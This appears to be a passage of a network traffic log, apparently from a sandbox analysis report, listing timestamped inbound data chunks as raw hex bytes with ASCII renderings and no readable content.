2022-09-20 10:10:08 UTC 3169 IN Data Raw: e3 49 ee 64 26 6b 89 06 64 26 8b ac bd ce 32 fe 24 df 6d e0 97 14 e7 10 6f d3 d1 cb 9d 2d b2 da c0 bf 50 fc 86 
10 ff df 66 ad b6 f5 24 27 c6 27 fb 26 84 3d eb 97 4a ee a5 4c 42 b4 73 6c 97 00 52 7e 90 2f bb ad 3b b8 80 1d e8 bc 83 
72 a5 83 cd 9e f5 be 92 73 90 8b 45 92 22 eb 03 65 d6 46 82 3b 77 8a ac 0f 95 dc 47 78 86 bd ad 67 72 54 a6 0b ff ad 62 
61 83 92 1b 6e d0 3f 34 d5 3f d4 24 94 67 55 85 8c c6 80 2b fb ab b8 78 64 92 15 45 8f 68 ef 48 f3 a6 88 55 68 98 3d bf 4f 
28 3f 56 73 28 40 79 a1 10 45 28 f9 93 e0 7f 4e cd 63 d3 3d c0 a3 a4 4d e1 ac 9f 68 b4 cb 80 ef 21 6d 97 50 9e 57 a5 60 
df 06 7a 3b 8a 83 97 5b fc 87 2d c3 ca 55 fc a5 e0 65 35 bb 80 69 40 7f 8e aa 17 51 9c 1d 40 9c eb f9 15 2b eb 0b e3 4c 
0f 3a cc c3 2e a6 05 bd 0c 87 63 60 3b 4a 41 ae 03 
Data Ascii: Id&kd&2$mo-Pf$''&=JLBslR~/;rsE"eF;wGxgrTban?4?$gU+xdEhHUh=O(?Vs(@yE(Nc=Mh!mPW`z;[-Ue5i@Q
@+L:.c`;JA

2022-09-20 10:10:08 UTC 3176 IN Data Raw: 56 4a 69 87 f3 6c 1d bd 94 a0 33 a7 12 86 d8 53 3e 3b 90 f6 4c 67 40 cd d9 56 1a b5 99 79 28 9c 23 36 52 6b 
a3 a8 5d f4 ea 4c b2 f0 94 02 d4 b2 d2 c2 71 17 fa b8 73 1b 2f 29 9f 01 71 72 1b 2f 36 bb 77 69 9a be 8b 57 95 87 81 48 
ed e2 55 e5 09 20 c6 23 d9 be d5 f3 aa f2 28 1a 2d be 70 d4 26 81 7e 39 95 d7 67 16 82 eb 8e 2e 5e b9 79 1c c4 83 94 
a1 b5 1c af ed 9a 66 40 ba 89 56 79 f4 9d f2 c1 ed 14 a3 dc 6b 2e 56 70 a6 e3 6c f6 76 5e c1 29 01 b1 60 3b 79 d6 0c 1e 
0e b6 62 26 2c ed c6 9e 8d a9 2a d2 6b 88 63 a3 c8 c9 ee c3 b9 76 a1 d3 63 69 74 9b 4a 8f 9b 00 d3 8a 64 ed 46 26 68 
07 a4 23 25 5c 41 66 2b 88 2d 48 a3 a9 e6 7b 46 ba 71 5e 48 a1 a0 59 27 78 8f e0 d4 fe 1d 8c e2 bb 13 e3 71 27 3d 1c 3
3 72 ed 39 c8 cd 40 4a 31 c0 44 2d f4 57 53 90 98 e0 8e 4c 33 4a 
Data Ascii: VJil3S>;Lg@Vy(#6Rk]Lqs/)qr/6wiWHU #(-p&~9g.^yf@Vyk.Vplv^)`;yb&,*kcvcitJdF&h#%\Af+-H{Fq^H
Y'xq'=3r9@J1D-WSL3J

2022-09-20 10:10:08 UTC 3184 IN Data Raw: c9 f3 86 ff 69 0f 79 04 7b be 18 27 9f 8b 77 4c 72 87 d9 f3 f5 d9 6b e6 ee b7 d7 cc bd df 5e 33 f7 7e 7b cd dc 
d1 7b cd dc fd f7 9a b9 f7 db 6b e6 ee bf d7 cc 1d bd d7 cc dd 6f af 99 bb df 5e 33 77 ff bd 66 ee fd f7 9a b9 0f b6 d7 cc 31 
4f bf 6c f5 ec 35 73 fc c0 4d 19 da 7b cd 1c f3 85 b3 f7 9a 39 16 08 17 b5 d7 cc 51 23 c8 01 f6 9a 39 8e 16 9b de bd 66 
8e 85 02 24 2b 27 63 75 1c e3 a0 a0 a5 c3 3c f8 98 54 a2 bf 69 9c 8d 0b 35 d6 b7 20 ca a6 b6 56 e5 b1 32 74 c2 3c 0e 0c 
8d 0a c6 02 86 eb ad a6 71 38 51 f4 81 ec 7b 60 f2 b3 98 b5 8a 7f 20 32 d2 3d c8 9d d3 3d 23 1d 39 95 60 46 3a c9 79 42 
d4 48 27 99 4f e8 19 e9 24 e7 09 91 91 4e 72 9b 60 46 3a ee 89 e6 48 c7 08 25 e6 97 22 31 c3 cd 03 f6 48 27 96 3c ac fe 
09 7b 6d 15 fb ae 43 f6 15 d7 37 2d ed 0a b7 76 
Data Ascii: iy{'wLrk^3~{{ko^3wf1Ol5sM{9Q#9f$+'cu<Ti5 V2t<q8Q{` 2==#9`F:yBH'O$Nr`F:H%"1H'<{mC7-v

2022-09-20 10:10:08 UTC 3192 IN Data Raw: 63 c3 e5 11 bd 45 e6 04 c5 54 c7 b7 c8 24 a6 58 26 13 5b 72 78 d1 d3 30 28 6c 5b 45 83 1c 66 7f eb ba 5c 52 
31 cc 4c 43 2e 4f 10 a6 a5 ad d3 4e ff e5 29 02 d4 37 36 61 6a b0 4d 54 b4 61 d0 98 b6 49 32 87 41 09 de 96 20 26 4c 46 
b6 05 8d 09 5a d3 36 99 27 0e 6b 45 64 db 32 c4 c8 14 6c cb 91 19 69 57 c7 ca d6 06 8e fd c3 45 a7 fb da 52 87 61 2e 1d 
ee 0a 41 a1 33 13 72 7d 4a 2c 53 78 db 65 a8 18 b2 d2 3b 4e 06 72 e0 59 c4 77 63 6c be 0f 34 02 ca d8 29 f9 0c b3 a4 
41 ab 7c d0 48 24 e3 34 49 e4 cf c0 5d 46 04 99 5a 6f f4 ef 46 ad 0a 1b 89 20 fd eb 45 fd 5e 09 36 4c 38 7b ab 19 0a 7f 13 
b9 86 bb 33 39 6a 24 94 ee a5 c5 76 12 48 e9 d3 5a 6c 27 25 dd 4e f7 d8 c1 a5 85 9d 2a 7b b5 ca 8f 7c 07 1d 63 a3 80 
ca 66 15 e6 77 a6 f0 b7 58 2e ac 52 85 e7 6e 35 cd 78 50 4a 
Data Ascii: cET$X&[rx0(l[Ef\R1LC.ON)76ajMTaI2A &LFZ6'kEd2liWERa.A3r}J,Sxe;NrYwcl4)A|H$4I]FZoF E^6L8{
39j$vHZl'%N*{|cfwX.Rn5xPJ

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3200 IN Data Raw: ac a2 3c 56 8d e5 0a 05 0b db c0 5f f1 83 37 20 a5 5b a0 4f c3 1e 8e 84 8f 10 0b 95 fb a0 b2 4e b8 bb 4d b9 
ea 37 d5 ce ae e2 37 37 c1 d5 a4 7e 6f 27 8c 29 19 18 ab 6b 50 b2 dd de b6 1a 7e 6f d9 36 b0 f8 4a b0 45 92 0d c0 bf af 
92 90 0a 62 cf bb bb a1 d8 2a f9 f6 48 d9 b2 56 ab f5 e1 a9 9e aa bd b7 4d 0c 1e 07 87 2e dc 57 fe f2 01 36 e0 35 54 ab 
a1 f7 99 0b 36 f8 7b 00 bf 20 f1 b7 2e d8 56 a4 fc c5 03 70 ba af 6a 8b 72 a1 3a d6 51 69 4c 91 d2 77 0e 00 3e d6 2b 3d 
e3 e7 36 c4 1a e7 32 10 69 1b a1 25 8b b7 b4 49 34 8a d5 55 1b 1d 86 82 d3 6e a8 b9 7e a5 39 e8 db 66 cf be bf 84 57 
06 06 c3 1d d9 d2 05 d5 de 67 ff e5 01 0f 2b 19 f5 c6 bc 07 98 41 b7 ea e7 e9 03 60 d5 41 6a 0d 88 3b b7 0d 06 ef b7 37 
4a df 5f 0a ea d8 81 a5 2d 6b 27 ef 3d 9e d9 c5 4d 66 59 bb 
Data Ascii: <V_7 [ONM777~o')kP~o6JEb*HVM.W65T6{ .Vpjr:QiLw>+=62i%I4Un~9fWg+A`Aj;7J_-k'=MfY

2022-09-20 10:10:08 UTC 3208 IN Data Raw: b8 2e 9f 99 b1 b9 ba a8 8c f9 96 52 d8 85 2e 60 43 0e 0d 58 6e 9c 67 39 64 9f a5 0b 66 10 50 5d 04 a1 c1 63 
cf 1c 68 b0 6a 9b 28 bc 86 aa 8a e8 b2 13 09 e2 b6 c4 d3 fa 38 b4 e8 44 f0 d2 40 0e 1b a8 ab aa 30 ee 62 80 98 1e 8a c7 
6d 84 27 d6 35 d1 93 08 9e c4 22 f2 a8 c0 56 a5 02 99 05 8a c4 d9 42 35 9d 46 1f 26 e8 b7 b8 49 13 88 85 44 a1 d9 ec 
ba 58 18 d3 63 29 05 a4 7b 31 7d 08 55 c0 c8 ac 66 38 c0 d6 87 0c 6c dc 6f 96 f1 7e 01 04 20 7b 2b 8d 31 7e d2 3e 00 9b 
e4 ab 58 ed 6a 1f 66 80 e2 51 8e 27 38 1e e3 38 56 9c 1a de 61 06 ea 51 c3 b3 3e 6a 90 d2 63 c8 07 40 b7 71 86 b6 1f 
8b b0 a6 6c 40 b7 1e 1e d7 03 e2 9a 79 bd 6b b8 f5 84 59 76 6f 62 c9 98 a1 86 d6 e6 48 5a 9b 40 1e d7 6f 4a 30 30 39 86 
5a 00 d2 0b 36 30 12 10 f9 ac 06 dd 55 6f 3a 82 7c 61 ac 1f 4b 
Data Ascii: .R.`CXng9dfP]chj(8D@0bm'5"VB5F&IDXc){1}Uf8lo~ {+1~>XjfQ'88VaQ>jc@ql@ykYvobHZ@oJ009Z60Uo:|aK

2022-09-20 10:10:08 UTC 3216 IN Data Raw: c1 5c 40 d9 f0 2d 8d d0 f4 8e 98 a4 23 c4 36 c0 23 26 82 fb 11 28 46 8c bc 2a 13 ba bb 3a f6 84 59 78 2b c4 
b7 77 91 2e 39 85 a8 39 ff b5 67 12 a7 40 c2 52 09 94 e0 8a 96 8b 65 07 47 45 e2 51 5b ed 26 f8 54 03 75 b9 25 28 0e 
ca 93 02 08 bb 34 2b 79 17 30 d6 ce 51 9f df ca 4f 2b 2d e6 3e 73 6b e3 fa 84 3f b3 0e 0e b0 59 a8 5e d2 c1 f1 50 b3 7c 
69 ab 1c 02 fa 92 d1 cc d0 22 b4 81 95 17 51 bd bb e4 b8 a2 d5 55 32 95 04 03 87 6c 1e 6d 5c c5 84 a7 b6 fa d9 8e a6 
a3 b4 84 be 24 de 61 8f 53 63 be ba fd 3d 1b f3 b4 92 c6 7c 73 bb 34 e6 69 e5 6b 0c 09 b5 b9 96 39 f7 49 3d b5 31 91 4d 
0a 89 6e 7f 33 2c 8f a1 73 6f 62 35 87 ad be ba f1 fd 49 a1 66 3f 39 e9 51 89 d7 a3 9d 84 26 d4 a0 4c 8f 9a d1 23 b8 a8 
80 0d f8 98 41 55 57 52 9f fe b1 e5 3d fb 94 b6 a5 4f ff de 22 
Data Ascii: \@-#6#&(F*:Yx+w.99g@ReGEQ[&Tu%(4+y0QO+->sk?Y^P|i"QU2lm\$aSc=|s4ik9I=1Mn3,sob5If?9Q&L#AUW
R=O"

2022-09-20 10:10:08 UTC 3223 IN Data Raw: b6 09 4c 09 c6 42 b8 f7 4e a3 e7 bc 96 77 af 38 30 77 e5 aa 4d f1 43 c2 9e b3 f8 99 37 9b 6b 47 f9 d2 49 3a bc
0b 3d 19 64 2e 63 9b ab 1d c8 f7 d5 8e e8 4b 83 76 27 93 39 b5 a9 db 3d 51 10 b8 b3 c4 50 2b b9 b7 b8 93 d2 c4 a9 5d 
cd 12 52 99 ce 85 f6 56 3d 9e 72 4a e5 86 97 8c 34 5e 80 b3 24 73 d4 f0 a8 eb d3 81 f6 11 29 e1 7d 88 e5 31 c9 71 c0 84 
a9 e5 07 44 3d 9b c0 91 25 ed 6c 13 e5 d9 bf 48 e7 9c a2 cb 66 10 3f 08 bc b0 97 3b 2e f0 fb 27 71 42 39 64 60 03 92 73 
01 d5 5f c6 6a e1 dc 6e a0 8d 6e 76 29 58 96 ee 5b 32 6c 17 3b a7 53 d9 42 2e 5b 7a 88 87 26 77 17 8e 40 4b e3 e2 2f 
b6 eb 88 40 71 49 c2 ab 9b d6 d0 4d 38 b0 26 28 6b 71 2b 8d 7e 9d 8f 67 46 a7 ce 7a bf a5 58 cb 4b 31 2f 69 ab 92 43 1e 
cb 99 c4 ae a6 90 c7 74 53 b8 17 4b 63 ea 29 fe 55 5e 6d 56 
Data Ascii: LBNw80wMC7kGI:=d.cKv'9=QP+]RV=rJ4^$s)}1qD=%lHf?;.'qB9d`s_jnnv)X[2l;SB.[z&w@K/@qIM8&(kq+~
gFzXK1/iCtSKc)U^mV

2022-09-20 10:10:08 UTC 3231 IN Data Raw: 85 45 41 94 9b d2 79 15 85 3b a5 87 08 76 73 b4 01 c1 f5 5c 62 72 27 c2 cf 48 f6 67 4c 23 a8 30 82 6f 9b 3a 
10 be 24 d9 bf a0 e0 90 44 11 e4 73 c3 1a 10 8c e5 68 1d 82 4b 25 17 c1 15 4a aa 40 d8 21 25 10 dc 2d 25 10 48 df ea fa 
e9 05 fd bb 99 7b bb 27 b0 8f c2 72 4b e2 17 50 b8 dd c4 af a5 f0 0b 26 7e 2f 85 25 41 89 bf 67 6d 21 5f 6d 21 5f 6d 21 5f 
6d 21 5f 6d a1 f7 ac cd f1 d5 e6 f8 6a 73 7c b5 39 be da 1c b7 0e 77 fe be 44 ff 1e 0d c8 5c 20 7c 9e 9f d5 c1 1e f8 9a 44 
51 d3 a7 ac 23 86 e9 21 fa d7 cb 25 ea 51 e2 13 56 16 c0 59 47 94 c3 07 7a 4d 63 cd 3b 9f b2 24 fb 53 a6 ad 94 ed 36 d5 
57 55 c8 42 1b ef e7 2a 66 75 7a f5 5a f7 9b 5c 5f bb ac c0 8b f4 f7 97 e6 6b 47 e6 66 35 10 5f bd d7 ca 2e 9a f9 c5 e9 df 
22 a9 1d c1 65 f2 f6 6a 0a 5a 24 b7 c5 4c 02 e5 
Data Ascii: EAy;vs\br'HgL#0o:$DshK%J@!%-%H{'rKP&~/%Agm!_m!_m!_m!_mjs|9wD\ |DQ#!%QVYGzMc;$S6WUB*fuzZ\
_kGf5_."ejZ$L

2022-09-20 10:10:08 UTC 3239 IN Data Raw: 9c 12 e5 f7 87 bc 29 fb 37 19 f6 69 9f 87 a2 39 e1 22 69 2a 94 18 ec f9 b9 ee 63 2c fb a5 21 be 9e 7d c9 f0 59 
54 10 c1 eb ae a7 20 58 ae 96 a1 e6 2d 44 1e 66 03 52 03 70 f3 42 c6 c1 0d 08 2e 15 03 d2 a5 19 74 7c 07 a3 63 83 76 
ef 60 b4 3b 93 d1 6e c3 cc e1 9e 49 e6 ee 14 22 f7 32 da 6d 40 f0 00 47 17 20 18 36 d2 ac ad 0c da 6d b8 c9 20 58 6e 9a 
cb f3 51 be cf fc 72 37 b3 7f 82 57 1b 0e 53 f0 77 89 02 c5 56 b9 0e 82 f3 8d ab 0c 97 77 39 44 2a 84 e0 74 17 e3 fa d0 ef 
1d 7e f4 bb 2f e5 ca 7f f4 06 a4 3f 51 38 35 5c 39 ce 63 2e f7 b1 77 61 e5 78 97 d6 51 64 b3 20 66 04 7f 19 6f 28 80 2b 13 
62 10 33 fc e7 3e cf c3 90 5f f6 f9 9c df cd 9c 69 03 a3 ed 06 57 38 a4 28 90 f9 cf 24 0a db 4a 3d e3 ef 06 1f 5e df 97 42 
e4 05 c6 e0 0d 2f 64 84 42 62 46 8c 50 48 f9 3e 
Data Ascii: )7i9"i*c,!}YT X-DfRpB.t|cv`;nI"2m@G 6m XnQr7WSwVw9D*t~/?Q85\9c.waxQd fo(+b3>_iW8($J=^B/dBbFPH>

2022-09-20 10:10:08 UTC 3247 IN Data Raw: 2a 57 e4 46 28 20 0b bb c7 e8 d3 08 a6 fb 04 53 1e c8 7c a1 d7 22 90 85 dd e3 cf 90 70 df bd 5c bc 9b 0b 72 
8f 70 e6 df 63 7c 8c 80 3c d4 4d 7e ec 05 dd d4 4d 96 66 15 54 64 c1 fd ba 7c 19 e4 ad 6e 6e 69 06 b7 3c a5 c7 14 61 41 
4f b0 0d dd e4 44 e9 06 c3 9a 8f 8d 5e be 97 4e 90 df 64 a2 40 3a 0a 53 ab 08 46 e1 98 db 5d 0d 9a c7 4b 95 fc 35 76 a1 
66 ae 5c 01 0d 72 93 58 91 5c 00 f2 6d 86 b6 2b b8 16 cb 6d 1c 40 2e 95 6b 77 41 36 4b 14 64 ff ae 9a 1d ae 21 72 f1 37 
c8 74 79 5c c6 74 75 72 86 e4 81 6b 91 88 79 41 e2 f8 e9 38 1e 20 22 96 07 b2 49 38 8b 40 1e cb 50 5f 5e 1f 33 51 2c 5a 
6c e2 95 07 f2 0f 89 be 4f 64 af 74 82 fc b6 8f 7a 11 8e 4c 11 c3 22 c4 7b a4 70 e6 8d 34 c7 7c 14 81 fc 22 d1 5f 4c a4 79 
75 e7 f9 78 87 c8 ee 14 02 cd 05 79 46 44 b6 10 e4 79 
Data Ascii: *WF( S|"p\rpc|<M~MfTd|nni<aAOD^Nd@:SF]K5vf\rX\m+m@.kwA6Kd!r7ty\turkyA8 "I8@P_^3Q,ZlOdtzL"
{p4|"_LyuxyFDy

2022-09-20 10:10:08 UTC 3255 IN Data Raw: e1 f0 75 b0 ae 65 7a 4f bf bb 92 d0 7b db c7 3a fd ee 48 66 a3 7e d4 2a 6c ce 32 20 13 e8 14 03 32 45 4c 37 
20 3b 0a 4b bf 2e 1a 9e 4c 82 a9 a2 34 40 88 c7 8b 78 2c cd 00 3d b1 9d d8 f7 2d 23 0d db d7 9e 68 fc b3 9a 37 e0 3b 4b 
46 48 7b ee 31 30 d3 4c 24 52 47 2d c5 4c b9 97 5d 2a 68 bf 74 b0 2f 42 a3 1a ce f1 72 08 1a e4 56 c9 95 03 ba 39 dd 6d 
2a 3f 4f ee 6d e9 9e b4 62 ca d6 56 f2 fa 4d f9 8d e2 6d 22 4d d2 d9 4c a4 53 ba 77 ee 5e c0 d9 62 58 f2 b0 47 d5 11 e9 
76 6e d1 3f b0 fd 20 77 bb 02 c9 12 d1 5d e2 1c 32 24 0a e7 f3 3a 5e 74 af e3 a5 1e db de bc d0 56 a7 2d 9f a5 6d aa 9b 
16 4b a4 d8 4c ab a3 1c 97 ef a8 38 3c 0b c9 ad e3 83 7a d2 f3 02 39 09 0d e4 2c b9 81 d6 8a 28 1c f3 25 fe bc 8a ac 72 
be 9c ae 5a f5 70 fc 5d e2 7f 57 3b 72 09 fc 35 13 31 7f 
Data Ascii: uezO{:Hf~*l2 2EL7 ;K.L4@x,=-#h7;KFH{10L$RG-L]*ht/BrV9m*?OmbVMm"MLSw^bXGvn? w]2$:^tV-mKL8
<z9,(%rZp]W;r51

2022-09-20 10:10:08 UTC 3262 IN Data Raw: 7f 0b 50 f6 5a aa fb 5a e1 e9 f4 ca 54 99 08 90 2b 03 56 f1 2d 25 30 86 c8 b1 8e ac 03 88 54 c9 ec 38 a1 ca cf 
af 3b 33 bc 8d 79 94 0a 0c 32 00 bd 58 06 0c 72 b5 23 d7 8f 86 07 47 e1 bc 51 a6 04 a4 59 32 81 fc 28 98 ca c1 04 e7 2f 
f2 09 08 ce 94 51 4f e0 3c 5c d6 d0 47 9a 68 15 da d1 0a aa 68 a1 33 be 40 a0 b9 0b 54 a8 29 ce a2 15 51 38 36 4a 1c 
15 e0 a7 c2 99 f7 a9 0a 48 9c 2c 03 47 1f e1 77 1e 82 c9 0f 78 7b 03 c1 a0 d9 2c 1a e9 9e 23 fc 28 98 a3 92 2d f6 b7 84 
43 d6 b3 05 20 bb 64 a2 77 a9 44 8b 0f 4d 70 c8 60 f2 11 cc e9 3e a5 50 00 48 c5 5c f1 6e d1 5c e3 fd 32 e9 fd 06 c7 b2 
e5 a0 d1 47 81 51 7c a4 48 45 03 e5 08 68 77 99 15 ba ab 14 52 43 35 92 b6 7a 52 5a 26 b5 a8 72 a8 b9 89 78 5c 1e 03 
e7 e6 85 a0 9f 94 52 43 0a d2 03 be b2 03 bb 94 dd 2f c3 ff 
Data Ascii: PZZT+V-%0T8;3y2Xr#GQY2(/QO<\Ghh3@T)Q86JH,Gwx{,#(-C dwDMp`>PH\n\2GQ|HEhwRC5zRZ&rx\RC/

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3270 IN Data Raw: 72 d6 e1 a1 c7 e3 5b 66 f1 8c f2 73 8a a7 55 cc c8 d2 3c 12 99 3e bf 3c 62 10 fc 16 93 54 cb 2d 64 05 e4 6c 
21 97 12 d2 60 21 b5 84 34 5b c8 8d d0 e9 13 5c 5f 0f 10 d2 f4 a2 4f 5f 8f 6b 7d a5 74 76 9c 43 ed b4 b7 b2 be e6 18 7d 
0d 8f a9 0b e8 6b 5b 12 fa 5a de 55 eb 0b f3 5e da d9 61 29 7d 7d c4 f4 b5 70 fa d9 a5 33 3c 85 c9 73 b0 f0 97 12 97 cf 
db 88 a7 7e 2b 97 e1 a7 d0 ce 6b 1c c1 6c e2 3a 0b 69 4b b5 47 a4 91 23 bd 09 69 b0 90 61 84 d4 bc 61 e5 38 42 42 db 
38 32 81 90 e6 6d 5e 7d c9 38 8b 92 bf b3 3c 13 8b a5 bd 95 f5 b5 d6 e8 6b 88 9f c9 91 fa da 95 cc 18 5a 37 ad af 6d 71 
f5 f5 35 d7 d7 8c ca 52 6f d9 5f 02 a9 be 9d 58 5f cb 88 a7 e4 6d 2e c3 ab 08 29 7f db 2b 43 e9 0f e2 83 b9 a1 9e be 67 
2b b7 37 f6 26 21 9f 8d 3d b4 7c 26 f9 e3 a3 e4 f3 1b 93 4f 
Data Ascii: r[fsU<><bT-dl!`!4[\_O_k}tvC}k[ZU^a)}}p3<s~+kl:iKG#iaa8BB82m^}8<kZ7mq5Ro_X_m.)+Cg+7&!=|&O

2022-09-20 10:10:08 UTC 3278 IN Data Raw: 9d 85 ac 26 a4 de 42 a2 84 34 58 c8 83 b0 79 0b 79 0e fa b2 90 d7 08 69 4e e3 c8 7b 84 64 b4 e5 c8 17 84 84 
2c e4 67 42 b2 2c a4 fd d1 a4 53 0b c9 24 24 62 21 23 08 29 b1 90 71 84 94 5b c8 64 42 6a 2c 64 01 21 b5 16 72 f1 d1 f8 
6e ce 91 6b 09 a9 b7 90 3b 08 69 b0 90 7a 42 b2 da 73 e4 49 c4 a7 23 47 b6 22 ac ce 1c 79 07 48 06 47 9a 08 09 75 e3 
c8 e7 88 4f 0f 8e 7c 8f b7 7a 73 24 f5 18 92 46 5f 8e 74 3d 06 42 b2 24 46 48 f9 7e 1c 39 98 90 50 3f 8e 1c 47 48 63 88 
23 93 08 a9 19 a0 11 61 87 e5 0b cb c3 83 38 cf 59 c4 93 31 84 23 8b 08 09 5b c8 65 88 a1 85 dc 4c 48 89 85 dc 4b 48 
bd 85 3c 8a f8 58 c8 f3 c7 e0 94 49 8e bc 89 d0 87 72 e4 9f 08 fd 40 4b 62 08 cb 42 da 1e 8b 93 b8 39 d2 9b 90 1a 0b 39 
90 90 3a 0b 39 9a 90 06 0b 99 48 48 b3 41 4c 39 6f ca a8 33 a8 
Data Ascii: &B4XyyiN{d,gB,S$$b!#)q[dBj,d!rnk;izBsI#G"yHGuO|zs$F_t=B$FH~9P?GHc#a8Y1#[eLHKH<XIr@KbB99:
9HHAL9o3

2022-09-20 10:10:08 UTC 3286 IN Data Raw: f5 05 bd 5f 76 20 b5 f4 2c ad b5 7a 3f e5 b4 96 47 69 56 25 61 ab 4d c6 56 23 a9 be 91 25 3d 97 c6 b6 d5 f9 
de 8d 3c 6e 27 69 84 6f 4a dc da 79 0c 3c 37 5b ad 53 68 c7 42 de 84 76 6e e1 c8 a7 84 64 d5 71 64 0f 21 75 b7 72 a4 db 
32 7a eb 36 8e 8c 58 86 53 18 38 72 04 21 91 fb 2d bd 83 c7 42 26 2f c3 9e a8 96 f5 82 e7 61 8e 2c 23 a4 ee 11 8e 5c 85 
b7 1e e7 c8 06 c4 e7 09 8e 3c 4d 48 e3 5f 39 f2 2a 21 e5 4f 72 e4 5d 42 ea 9f b2 7a 64 f0 e7 29 af 8d 49 39 43 5f 9f 0e 74 
9c c2 3f d4 c6 d6 1a 1b cb f2 33 39 ea 8c d4 24 6c 2c eb 57 6d 63 bd d3 e2 8d 27 a4 ee e3 ce 6c 3c 37 c6 be a9 df 2d c3 
6e 63 89 cb 43 54 0f 26 ed 02 e8 4e 48 f8 69 af 0c a5 3f 88 0f 56 d5 db 9e f9 65 d8 db cf f3 3b 64 f8 bc 91 a1 7f fe 14 7e 
e2 6c d3 24 64 98 93 1a 50 32 0c 3b 8e b2 10 13 96 
Data Ascii: _v ,z?GiV%aMV#%=<n'ioJy<7[ShBvndqd!ur2z6XS8r!-B&/a,#\<MH_9*!Or]Bzd)I9C_t?39$l,Wmc'l<7-nc
CT&NHi?Ve;d~l$dP2;

2022-09-20 10:10:08 UTC 3294 IN Data Raw: c6 40 1c 85 5c 26 93 14 73 99 49 4b 3d c1 47 c1 42 48 70 b4 f1 28 13 6d 77 ea 3f ff 6e a5 69 23 44 eb 27 bd 
cf e7 a9 3e 1f 4e 89 f7 6c f3 30 0b 7d de eb d1 9f c2 3d 2f de 53 4c 61 d1 e7 cd 5f 4c 0a 22 1b b6 b1 89 fb fc e8 d6 d8 d7 
0f e7 67 68 d5 d4 a6 63 79 9e 07 a2 d8 c0 30 1e f3 23 b5 85 88 a9 46 39 47 44 cc 85 e5 68 7b 11 d3 0a 72 89 88 69 0f 
71 89 98 3f e3 92 c3 29 62 ba 21 c6 2d 62 2e bf 1e 3d 46 c4 f4 43 8c 67 ac 38 af 6b 83 63 a1 88 19 52 4e 5f 59 e1 31 91 
ef 3e 3d c6 63 46 23 c6 27 62 a6 96 d3 2f 11 e2 78 4a e5 8c e3 b2 83 b6 f4 49 2e 47 a8 ce 42 b4 79 58 4a 48 4b 88 5f c8 
1d 90 a0 90 de 90 90 90 41 10 ed 29 2e 8f cf a3 6f 95 73 79 1e e2 16 32 93 d6 2e 64 09 ad 5d 08 bd 53 53 29 b2 b1 09 
31 55 22 66 2f ad dd 2b 8e 8c 10 bb 10 6d 3e b2 21 a4 39 c4 
Data Ascii: @\&sIK=GBHp(mw?ni#D'>Nl0}=/SLa_L"ghcy0#F9GDh{riq?)b!-b.=FCg8kcRN_Y1>=cF#'b/xJI.GByXJHK_A
).osy2.d]SS)1U"f/+m>!9

2022-09-20 10:10:08 UTC 3301 IN Data Raw: c8 53 20 a1 17 35 59 f9 9d 3c d5 ab c9 17 d2 1e 22 db 41 fc ff d2 a4 f1 76 68 88 ec 01 12 7d 4d 93 de 42 de 
d4 64 c4 76 f9 2e 27 9d 6d 81 f8 de d1 e4 34 90 e4 07 9a cc 14 f2 a1 26 97 6c 97 27 37 e8 ba 04 48 80 c8 c3 20 41 22 09 
90 04 91 f7 65 3f 1f d3 71 59 fa d5 43 cf a2 df cb 9e 49 d3 fc 7b 10 d2 ec 0d 12 24 cd 81 20 06 69 0e 06 09 91 e6 78 90 
44 77 ad 39 1d 24 4c 9a 2a 90 08 69 2e 14 42 9a a8 b4 87 34 f7 7c 2f 4f 26 68 cd 3f a4 3d a4 79 01 24 46 9a f7 a4 3d fb 
6a cd 5a 90 38 69 be 93 da 49 e3 f9 41 9e 2c d3 9a 8e 20 01 d2 f4 01 49 92 66 04 88 41 9a 63 41 52 a4 39 4d f6 ec a3 a3 
30 48 9a 34 17 80 44 48 73 95 ec 79 8d d6 2c 96 f6 90 e6 61 10 2f 69 9e 97 52 a4 59 09 e2 23 4d 4a da b3 8f d6 7c 0b e2 
27 4d c9 8f 68 0f 69 da 82 04 48 d3 53 08 69 06 81 04 49 
Data Ascii: S 5Y<"Avh}MBdv.'m4&l'7H A"e?qYCI{$ ixDw9$L*i.B4|/O&h?=y$F=jZ8iIA, IfAcAR9M0H4DHsy,a/iRY#
MJ|'MhiHSiI

2022-09-20 10:10:08 UTC 3309 IN Data Raw: 32 21 4f df 65 7b 0d 1a df e3 3a 37 d6 81 f8 89 34 1e 84 99 84 48 17 90 20 91 d2 41 f2 0e 01 ba 96 3b 48 de 
18 a0 49 08 24 41 e4 7c 90 24 91 eb 40 52 8f db 33 d3 6b 45 e7 3d 23 d7 7a b5 58 d1 99 e8 22 3a 71 2b 3a f2 12 e7 ec 
df b8 dc 69 45 a7 a2 bc 62 60 e9 70 fb 84 f3 00 7a 9a 2e 10 9d 7f 42 13 79 d2 ee 46 da 72 63 6b 33 c7 18 2c b2 1b 61 17 
6e 24 e6 14 fe 15 cf db d7 72 a3 a2 2a 8b 1b 1f 88 1b 2b f2 bb f1 95 64 dd 73 3a 5b 7e 95 fc 21 d2 6e 30 c8 f3 9a ec 07 
12 fb b7 26 01 90 e0 9b 74 e6 0b 12 5a a5 c9 05 20 d1 8f 1d ce af 30 9d 2f ed e6 b8 33 a4 c8 ce 2f 70 e1 fc f8 73 ac 3b 63 
3d b9 ae 2d fb ea 9d 9f 5a 9e c5 f9 eb d0 53 ff 9a fc ce 2f 81 26 fe 85 f6 e7 39 f9 2c d8 06 c7 11 64 8d e9 cf 3e 2d 1d 57 
45 8a ec cf 22 17 fe f4 3d cf f4 e7 13 c3 31 52 ea fc 
Data Ascii: 2!Oe{:74H A;HI$A|$@R3kE=#zX":q+:iEb`pz.ByFrck3,an$r*+ds:[~!n0&tZ 0/3/ps;c=-ZS/&9,d>-WE"=1R

2022-09-20 10:10:08 UTC 3317 IN Data Raw: f7 4d 4f 37 0f a9 76 63 46 b6 a6 dd 2b 6a 90 6a 37 c2 7a bb 41 63 cc 0c bd 77 53 bb 61 b3 77 9e de 6e 5c 64 
b2 a1 5f 62 0f 74 07 ed 46 68 8f 3e 7f 19 25 eb 21 af d5 d0 6e cc d3 db 8d f2 c2 a9 c5 fe 92 09 6c 30 96 de 6f 79 5f f9 6e 
be 8e f2 7d 83 83 fb a0 ab 77 d3 bd c1 5f 6d fc d2 f7 6d 37 94 d9 f8 44 96 83 08 ba 54 04 2d ae 75 19 6c dc 31 5e 2b 6f 
